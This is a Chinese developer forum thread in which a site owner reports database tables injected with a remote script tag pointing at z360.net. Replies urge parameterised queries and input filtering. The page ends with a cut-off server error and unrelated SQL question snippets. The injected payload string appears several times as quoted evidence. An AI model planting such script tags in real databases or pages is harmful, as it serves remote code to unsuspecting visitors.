急，sql被注入
sql数据库里大部份表被注入" <script src=http://z360.net> </script>"之类，程序已经在修改了.
是用木马注入的吗?如果是木马注入的我该在哪里杀木马，客户端还是服务器端
肯定是你程序没有过滤SQL注入。
检查程序参数程序。
我现在限制的是在get传值的时候，和一切用户有输入的地方，还有其他地方需要限制吗？比如session,cookie
在客户端和服务器都要防护，数据库操作使用参数，禁止一些命令
http://topic.csdn.net/u/20090729/14/26381958-0d6e-4b90-bc90-d275e9621f93.html
http://topic.csdn.net/u/20090708/09/b78444ee-9081-4ff7-8aa5-ba6f9b1d9fdc.html
cookie也要注意啊，
判断用户有没可能修改cookie达到破坏作用。
session就不用了。
参数，过滤.我知道，我是用接别人的网站
我想知道他注入是用木马吗？
比如说客户端有木马，自动大批量注入 <script src=http://z360.net> </script>
是这样吗？程序如果规范好，还需要做什么
用户输入的地方一定要过滤掉关键字
如js脚本、sql关键字
比如说客户端有木马，自动大批量注入 <script src=http://z360.net> </script>
是这样吗？程序如果规范好，还需要做什么
大家都知道是如何注入的，我想知道的是如何批理注入，木马？我是不是得杀下木马
如果页面有这段代码会出现下面的错误提示。
黑客是怎么注入的，我很想知道。
“/WebSite1”应用程序中的服务器错误。
--------------------------------------------------------------------------------
�
相关问答：
小弟是个新手 现在有个问题一直不能解决
例如
procedure produce_proc
@p001 nvarchar(8000),
@p002 nvarchar(8000),
@p003 nvarchar(8000),
& ......
我EXCEL中一个单元格的数据如 "2009-01","8949-232"
将这个数据粘贴到PL/SQL中的一个表中后,数据确是成为了 2009-01,8949-232 ,把所有的""都没了,
如何弄呢?请大家试 ......
我有一个月和日组成的数字，有两组月和日
想在身份证号中挑选出在该该两组月日之间出生的人，不知道应该怎么写.
身份证号有可能是15位或者18位
月日组合的形式如下
10-17/04-20
月-日/月- ......
有两条SQL语句（一个开始一个结束），我想在桌面上执行，光听说要做个窗体还是控件的，这怎么做？求老师们帮忙，先谢谢！！！！
什么意思，楼主说清楚些
...是呀，先说清楚嘛
？
我的意思是说在桌面上做个 ......
select a.fyear,b.fname,
'1月'=case when fperiod=1 then sum(a.fendbal) else 0 end ,
'2月'=case when fperiod=2 then sum(a.fendbal) else 0 end ,
'3月'=case when fperi ......
